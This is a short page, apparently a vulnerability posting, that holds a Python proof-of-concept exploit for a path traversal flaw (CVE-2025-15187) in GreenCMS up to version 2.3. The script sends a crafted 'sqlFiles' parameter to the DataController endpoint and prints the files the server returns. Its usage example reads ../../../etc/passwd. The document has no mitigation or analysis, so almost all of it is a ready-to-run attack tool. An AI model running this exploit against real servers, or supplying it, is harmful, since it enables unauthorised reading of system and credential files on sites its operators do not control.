CVE-2025-15187 GreenCMS路径遍历漏洞

import requests import sys # CVE-2025-15187 PoC - GreenCMS Path Traversal # Target: GreenCMS <= 2.3 # Component: DataController.class.php File Handler # Parameter: sqlFiles or zipFiles def exploit_path_traversal(target_url, file_path): """ Exploit path traversal vulnerability in GreenCMS DataController.class.php @param target_url: Base URL of the vulnerable GreenCMS installation @param file_path: Target file to read (e.g., ../../../etc/passwd) """ # Target endpoint - adjust path based on application structure endpoint = f"{target_url}/index.php/DataController" # Payload for sqlFiles parameter params = { 'sqlFiles': file_path } print(f"[*] Attempting to read: {file_path}") print(f"[*] Target: {endpoint}") try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Request successful (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Check if file content was returned if response.text and len(response.text) > 0: print("[+] File content retrieved:") print("-" * 50) print(response.text[:500]) # Print first 500 chars return response.text else: print(f"[-] Request failed (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-15187.py <target_url> <file_path>") print("Example: python cve-2025-15187.py http://target.com ../../../etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_path_traversal(target, file_path)